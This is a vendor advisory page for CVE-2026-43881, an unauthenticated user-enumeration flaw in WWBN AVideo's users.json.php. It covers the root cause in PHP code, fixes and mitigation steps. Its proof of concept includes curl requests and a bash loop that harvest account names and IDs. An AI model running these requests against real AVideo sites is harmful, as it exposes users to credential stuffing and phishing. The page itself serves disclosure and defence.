Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-43881 wwbn/avideo

MEDIUMFix: WWBN/AVideo@d9cdc70

CVE-2026-43881 is a medium-severity (CVSS 5.3) Missing Authentication vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

WWBN AVideo: Unauthenticated User Enumeration in `objects/users.json.php` via `isCompany` Parameter Flips `$ignoreAdmin = true` and Defeats Admin-Only Listing Guard

Also known asGHSA-6rvw-7p8v-mjfq
Published
May 11, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43881.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-43881 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.

Details

Root cause #1 — isCompany admin bypass

objects/users.json.php:13-53 (HEAD, v29.0):

$canAdminUsers = canAdminUsers();                                    // line 13 — for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
    $user = User::getUserFromID($_REQUEST['users_id']);              // path #2
    ...
} else if (empty($_REQUEST['user_groups_id'])) {
    $isAdmin     = null;
    $isCompany   = null;
    $ignoreAdmin = canSearchUsers() ? true : false;
    ...
    if (isset($_REQUEST['isCompany'])) {                              // line 39
        $isCompany = intval($_REQUEST['isCompany']);
        if (!$canAdminUsers) {
            if (User::isACompany()) { $isCompany = 0; }
            else                    { $isCompany = 1; }
            $ignoreAdmin = true;                                      // line 47 — bypass flag
        }
    }
    ...
    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
    $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}

User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.

The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:

public static function getAllUsers($ignoreAdmin = false, ...) {
    if (!Permissions::canAdminUsers() && !$ignoreAdmin) {   // $ignoreAdmin === true → guard skipped
        _error_log('You are not admin and cannot list all users');
        return false;
    }
    ...
    $sql = "SELECT * FROM users u WHERE 1=1 ...";
    if (isset($isCompany)) {
        if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
            $sql .= " AND is_company = $isCompany ";
        } else {
            $sql .= " AND (is_company = 0 OR is_company IS NULL) ";
        }
    }

Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL — i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.

Root cause #2 — users_id single-record oracle

objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise — a perfect sequential-ID existence oracle.

Why there is no blocking mitigation

  • No router-level auth: the .htaccess rewrite (.htaccess:317) maps /users.json directly to this file.
  • No CSRF/origin gate: the file is explicitly listed in objects/functionsSecurity.php:893 under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design.
  • The output-filter block (objects/users.json.php:66-77) only limits which fields are echoed — it does not suppress existence or display-name leakage, and total is always echoed on line 97.
  • rowCount is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).

PoC

Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.

Path 1 — bulk listing via isCompany admin-check bypass

$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000&current=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
  {"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
   "background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
  {"id":"2","identification":"alice",...,"status":"a",...},
  ...
]}

The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.

Path 2 — sequential-ID existence / display-name oracle

$ for i in $(seq 1 10000); do
    curl -s "http://target/objects/users.json.php?users_id=$i" \
      | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
  done
1	1	admin	a
1	2	alice	a
0	null	null	null
1	4	bob	i
...

total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).

Verification of the branch logic

// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = [];                      // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
    $isCompany = intval($_REQUEST['isCompany']);
    if (!$canAdminUsers) {
        $isACompany = !empty($_SESSION['user']['is_company']);   // false
        $isCompany   = $isACompany ? 0 : 1;
        $ignoreAdmin = true;
    }
}
var_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  → admin guard SKIPPED

Impact

An unauthenticated remote attacker can:

  • Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
  • Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
  • Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
  • Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.

No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.

Recommended Fix

  1. Require authentication at the top of objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:

    require_once $global['systemRootPath'] . 'objects/user.php';
    User::loginCheck();                         // reject anonymous callers
    if (!canSearchUsers()) {
        header('HTTP/1.1 403 Forbidden');
        die('{"error":"forbidden"}');
    }
    
  2. Remove the isCompany-driven $ignoreAdmin = true branch (users.json.php:41-48). It served no purpose that the explicit canSearchUsers() check above does not already cover, and its only observable effect is the bypass described here.

  3. Gate the users_id path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:

    if (!empty($_REQUEST['users_id'])) {
        $requestedId = intval($_REQUEST['users_id']);
        if (!canSearchUsers() && $requestedId !== User::getId()) {
            header('HTTP/1.1 403 Forbidden');
            die('{"error":"forbidden"}');
        }
        $user = User::getUserFromID($requestedId);
        ...
    }
    
  4. Consider clamping $_REQUEST['rowCount'] to a sane ceiling (e.g. 100) and removing objects/users.json.php from the CSRF-bypass list in objects/functionsSecurity.php:893 unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for CVE-2026-43881 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-43881 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-43881. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`
O3 Security · Impact-Aware SCA

Is CVE-2026-43881 in your dependencies?

O3 Security finds CVE-2026-43881 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-43881: wwbn/avideo (Medium 5.3) | O3 Security